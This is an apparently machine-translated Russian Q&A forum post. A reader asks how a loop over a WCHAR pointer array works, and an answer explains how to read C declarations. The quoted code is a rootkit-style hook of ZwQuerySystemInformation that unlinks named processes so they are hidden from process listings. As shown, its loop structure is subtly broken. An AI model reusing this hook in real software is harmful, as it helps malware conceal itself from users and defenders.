Я не очень разбираюсь в C ++, и я читал некоторый код и хотел знать, как это имеет смысл …
WCHAR *Process[128];
for(i=0; i<Process; i++)
Я вижу указатель на массив wchar, как вы можете пройти через это? Будет ли проходить весь массив?
Вот весь код:
WCHAR *ProcessToHide[128];
ULONG NbProcessToHide=0;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformationAddress = NULL;
LONGLONG UserTime=0, KernelTime=0;
NTSTATUS ZwQuerySystemInformationHook(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS status;
PSYSTEM_PROCESS_INFORMATION curr;
PSYSTEM_PROCESS_INFORMATION prev;
ULONG i;
status = ((ZWQUERYSYSTEMINFORMATION)(ZwQuerySystemInformationAddress)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if( !NT_SUCCESS(status) )
return status;
if(SystemInformationClass!=5) // not a process request
return status;
for(i=0; i<NbProcessToHide; i++) {
curr = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
prev = NULL;
while(curr) {
//DbgPrint("Current item is %x\n", curr);
if (curr->ProcessName.Buffer != NULL) {
if( curr->ProcessName.Length == wcslen(ProcessToHide[i])*2 &&
!memcmp(curr->ProcessName.Buffer,ProcessToHide[i], curr->ProcessName.Length))
{
if(!prev) {
// we are first process
if(curr->NextEntryDelta) // if there is a process after it
// first process becomes this one
(PBYTE)SystemInformation += curr->NextEntryDelta;
else
// no process ! >_>
SystemInformation = NULL;
}
else {
// there was a process before
if(curr->NextEntryDelta) // if there is a process after
// previous process leads to next
prev->NextEntryDelta += curr->NextEntryDelta;
else
// previous process is the last one =)
prev->NextEntryDelta = 0;
}
}
else
// not a process to hide, prev ptr go to this process
prev = curr;
}
// curr go to next process
if(curr->NextEntryDelta)
((PBYTE)curr += curr->NextEntryDelta);
else
curr = NULL;
}
}
WCHAR *Process[128];
не указатель на массив WCHAR
это массив WCHAR
указатели (предположительно строки).
Вы можете прочитать Чтение объявлений C.
Пример 2: char * argv [];
Шаг 1, напишите «объявить argv как». Шаг 2, массив справа. Шаг 3, напишите «массив». Шаг 4, указатель влево. Шаг 5, напишите «указатель на». Шаг 6, заполните декларацию. Шаг 7, напишите «char». Стоп.
Объявление: «объявить argv как массив указателей на символ». Обратите внимание, что это НЕ указатель на массив char. Дескрипторы массива имеют приоритет над дескрипторами указателей и читаются первыми.
i
а также NbProcessToHide
можно сравнить, потому что они оба ULONG
,
Других решений пока нет …